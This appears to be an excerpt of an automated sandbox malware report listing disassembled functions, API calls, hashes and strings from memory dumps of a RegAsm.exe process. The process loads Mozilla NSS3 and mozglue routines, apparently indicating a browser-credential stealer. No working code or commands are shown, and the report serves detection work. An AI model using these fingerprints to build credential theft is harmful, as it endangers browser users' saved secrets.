API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d6801eb36339afcffb679aae6fe220892176b401637bea540f557576a020af6d
Instruction ID: 44d5f71d8159f4980aa553f1aeec359f2dd94e491e679dda86dd1f14e81de812
Opcode Fuzzy Hash: d6801eb36339afcffb679aae6fe220892176b401637bea540f557576a020af6d
Instruction Fuzzy Hash: 543128B1E406055FEF009E658D409BF7776AF8432CB298128E815BB740EB31ED058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 004101C1 Relevance: 10.6, APIs: 7, Instructions: 119stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004101C6
strtok_s.MSVCRT ref: 004101F1
StrCmpCA.SHLWAPI(00000000,0042436C,00000000,?,?,?,00000000), ref: 00410234
StrCmpCA.SHLWAPI(00000000,00424368,00000000,?,?,?,00000000), ref: 00410262
StrCmpCA.SHLWAPI(00000000,00424364,00000000,?,?,?,00000000), ref: 00410287
StrCmpCA.SHLWAPI(00000000,00424360,00000000,?,?,?,00000000), ref: 004102B8
strtok_s.MSVCRT ref: 004102EE

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$H_prolog
String ID:
API String ID: 1158113254-0
Opcode ID: cc67024f9ce6c4131edc944e5ce9018e8310a4dbcbdf4e0a6db6af1ad4d48b34
Instruction ID: 9bc2d17412ffca82c228317b18caf0bd3abc38e0a16262bd695dd901d69365dc
Opcode Fuzzy Hash: cc67024f9ce6c4131edc944e5ce9018e8310a4dbcbdf4e0a6db6af1ad4d48b34
Instruction Fuzzy Hash: 73416C71B002069FCB24CF65DD89BEA77E8BB54319F20056FE401E6691DBBCCAC18B48

Uniqueness

Uniqueness Score: -1.00%

Function 6CDA1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDA1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CDA1BE3,?,?,6CDA1D96,00000000), ref: 6CDA1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CDA1BE3,?,?,6CDA1D96,00000000), ref: 6CDA1D4C
GetCurrentThreadId.KERNEL32 ref: 6CDA1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDA1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDA1DDA

Part of subcall function 6CDA1EF0: GetCurrentThreadId.KERNEL32 ref: 6CDA1F03
Part of subcall function 6CDA1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CDA1DF2,00000000,00000000), ref: 6CDA1F0C
Part of subcall function 6CDA1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CDA1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CDA1DF4

Part of subcall function 6CD6CA10: malloc.MOZGLUE(?), ref: 6CD6CA26

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 0186d2eed4e08bf56caeb70948752592f5c2a22850edb0e23d18a118cab4b8ed
Instruction ID: 01e894120718050ce8ee1b164ac318f6b142153cc03ebd55a5aa6d3d3369156b
Opcode Fuzzy Hash: 0186d2eed4e08bf56caeb70948752592f5c2a22850edb0e23d18a118cab4b8ed
Instruction Fuzzy Hash: C24167B5600701EFDB10DF68C488A56BBF9FB89318F10442DEA5A87B91DB71F854CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE98C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE98C7C

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE98CB0
TlsGetValue.KERNEL32 ref: 6CE98CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE98CE5
PR_Unlock.NSS3(?), ref: 6CE98D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE98D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE98D93

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 614e4086d5f2e15476d7cd0ac710967128ae107a039a588384512ed65ec1054b
Instruction ID: 6df91e31d8559522f8cd1ae56cec9d8745ee5c9e3624b525a67f60dc8bac5900
Opcode Fuzzy Hash: 614e4086d5f2e15476d7cd0ac710967128ae107a039a588384512ed65ec1054b
Instruction Fuzzy Hash: 2A312371E01201AFEB10AF68DC447AAB7B8BF55318F34013AEA1967BB0D771A924C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEDCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEDCD93,?), ref: 6CEDCEEE

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEDCD93,?), ref: 6CEDCEFC

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEDCD93,?), ref: 6CEDCF0B

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEDCD93,?), ref: 6CEDCF1D

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEDCD93,?,?,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF78

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 97482aa19bb1b4efb4cfc4477760d0e0b7f2097b5398b1d1990b5d1ddf374384
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5D11E7B5F002005BE700AAA67D42BABB6FC9F5419DF25403DEC19D7741FB61E90A86B2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD9850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD9851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD9855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD9856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD985AC

Part of subcall function 6CD97670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD9767F
Part of subcall function 6CD97670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD97693
Part of subcall function 6CD97670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CD985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD985B2

Part of subcall function 6CD75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD75EDB
Part of subcall function 6CD75E90: memset.VCRUNTIME140(6CDB7765,000000E5,55CCCCCC), ref: 6CD75F27
Part of subcall function 6CD75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD75FB2

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: c23f4ca30da12d1299c8b26613b3daaca8c2b3c356d189ca775fbcc255ab4e00
Instruction ID: 5a1a5a00b64ec55d6d85443778dce0c8b54e62867eb562b094a977825c02be27
Opcode Fuzzy Hash: c23f4ca30da12d1299c8b26613b3daaca8c2b3c356d189ca775fbcc255ab4e00
Instruction Fuzzy Hash: 302181786006019FEB24DB24C888A6AB7B9AF8470DF14492DE65BC3B51DB31F948CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6CE88C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE88C1B
EnterCriticalSection.KERNEL32 ref: 6CE88C34
PL_ArenaAllocate.NSS3 ref: 6CE88C65
PR_Unlock.NSS3 ref: 6CE88C9C
PR_Unlock.NSS3 ref: 6CE88CB6

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Strings

KRAM, xrefs: 6CE88C8F

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 01a584841b86ee896e18acf12173e119d5d61d36154e1623d0176b6a87cbaaa0
Instruction ID: 939fda8840b271df03dad6a1c6bd913491d23f0bbc110164bf93ec0913177f01
Opcode Fuzzy Hash: 01a584841b86ee896e18acf12173e119d5d61d36154e1623d0176b6a87cbaaa0
Instruction Fuzzy Hash: E42171B1A166118FD700AF78C484659BBF4FF45308F25896ED8888B715DB35E886CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CE98E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EA2

Part of subcall function 6CEBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEBF854
Part of subcall function 6CEBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEBF868
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEBF882
Part of subcall function 6CEBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEBF889
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEBF8A4
Part of subcall function 6CEBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEBF8AB
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEBF8C9
Part of subcall function 6CEBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEBF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EC3
TlsGetValue.KERNEL32(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE98EF1
PR_Unlock.NSS3 ref: 6CE98F20

Strings

b.l, xrefs: 6CE98E96, 6CE98F25

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 2f6b126030737fcf3aa0a9ff2fab8a9cc86767663edf5acfd8c26769459f4e5b
Instruction ID: 8237863ee77cb77dd5ca9a33f4935329b43261274343defe22b2db9c80e3e0e4
Opcode Fuzzy Hash: 2f6b126030737fcf3aa0a9ff2fab8a9cc86767663edf5acfd8c26769459f4e5b
Instruction Fuzzy Hash: C7217A75A096059FCB10AF39D4882A9BBF0FF48318F11556EE8989BB51D734E854CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD9F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD8CBE8: GetCurrentProcess.KERNEL32(?,6CD531A7), ref: 6CD8CBF1
Part of subcall function 6CD8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CD531A7), ref: 6CD8CBFA

Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CD64A68), ref: 6CD9945E
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD99470
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD99482
Part of subcall function 6CD99420: __Init_thread_footer.LIBCMT ref: 6CD9949F

GetCurrentThreadId.KERNEL32 ref: 6CD9F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CD9F598), ref: 6CD9F621

Part of subcall function 6CD994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD994EE
Part of subcall function 6CD994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD99508

GetCurrentThreadId.KERNEL32 ref: 6CD9F637
AcquireSRWLockExclusive.KERNEL32(6CDDF4B8,?,?,00000000,?,6CD9F598), ref: 6CD9F645
ReleaseSRWLockExclusive.KERNEL32(6CDDF4B8,?,?,00000000,?,6CD9F598), ref: 6CD9F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CD9F62A

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: afb2867d56e6339a842fb49dbcab3b4a4d911e2b077a7f636305cf0c4d0375d6
Instruction ID: 2a542bbb286f3fe5ef8829b885c00f46fdfbf1de69aca38d61d9b89662df2de4
Opcode Fuzzy Hash: afb2867d56e6339a842fb49dbcab3b4a4d911e2b077a7f636305cf0c4d0375d6
Instruction Fuzzy Hash: EC11C179A01205BBEB44AF69C8489A5777DFB8635DB100019FB0583F61CB71F815CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF82C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF82CA0
PR_ExitMonitor.NSS3 ref: 6CF82CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF82CD1
strdup.MOZGLUE(?), ref: 6CF82CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF82D27

Strings

Loaded library %s (static lib), xrefs: 6CF82D22

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 96266414a25c1c7ef2d6d8d211be4488f27a07de6ea625b7ac92684007a7ea6f
Instruction ID: 68b3776c0ade38dd643725ccbf4291a54e0377192a35d9376d0394c0707a618b
Opcode Fuzzy Hash: 96266414a25c1c7ef2d6d8d211be4488f27a07de6ea625b7ac92684007a7ea6f
Instruction Fuzzy Hash: AA11C8B1B122109FEB558F25D8487667BB4EB4632DF14813DE809C7B41D732F908CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD60EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD8AB89: EnterCriticalSection.KERNEL32(6CDDE370,?,?,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284), ref: 6CD8AB94
Part of subcall function 6CD8AB89: LeaveCriticalSection.KERNEL32(6CDDE370,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD8ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CD8D9F0,00000000), ref: 6CD60F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CD60F3C
__Init_thread_footer.LIBCMT ref: 6CD60F50
FreeLibrary.KERNEL32(?,6CD8D9F0,00000000), ref: 6CD60F86

Strings

combase.dll, xrefs: 6CD60F18
CoInitializeEx, xrefs: 6CD60F36

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b966734ed55ccac3ed805d908c44fe5d3c3c64740f62f7994c154fea8d121eaa
Instruction ID: 392325fdf8f4d1ed4ee762128130650e60cf5591d8f208d2abddf1aaa23173ef
Opcode Fuzzy Hash: b966734ed55ccac3ed805d908c44fe5d3c3c64740f62f7994c154fea8d121eaa
Instruction Fuzzy Hash: 95119E74A15241EBFF00CF55C908E5E37BCAB4B766F004629EA0582A90D770B405CB69

Uniqueness

Uniqueness Score: -1.00%

Function 6CD9F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CD64A68), ref: 6CD9945E
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD99470
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD99482
Part of subcall function 6CD99420: __Init_thread_footer.LIBCMT ref: 6CD9949F

GetCurrentThreadId.KERNEL32 ref: 6CD9F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD9F561

Part of subcall function 6CD994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD994EE
Part of subcall function 6CD994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD99508

GetCurrentThreadId.KERNEL32 ref: 6CD9F577
AcquireSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9F585
ReleaseSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CD9F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CD9F3A8
[I %d/%d] profiler_resume, xrefs: 6CD9F239
[I %d/%d] profiler_resume_sampling, xrefs: 6CD9F499

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

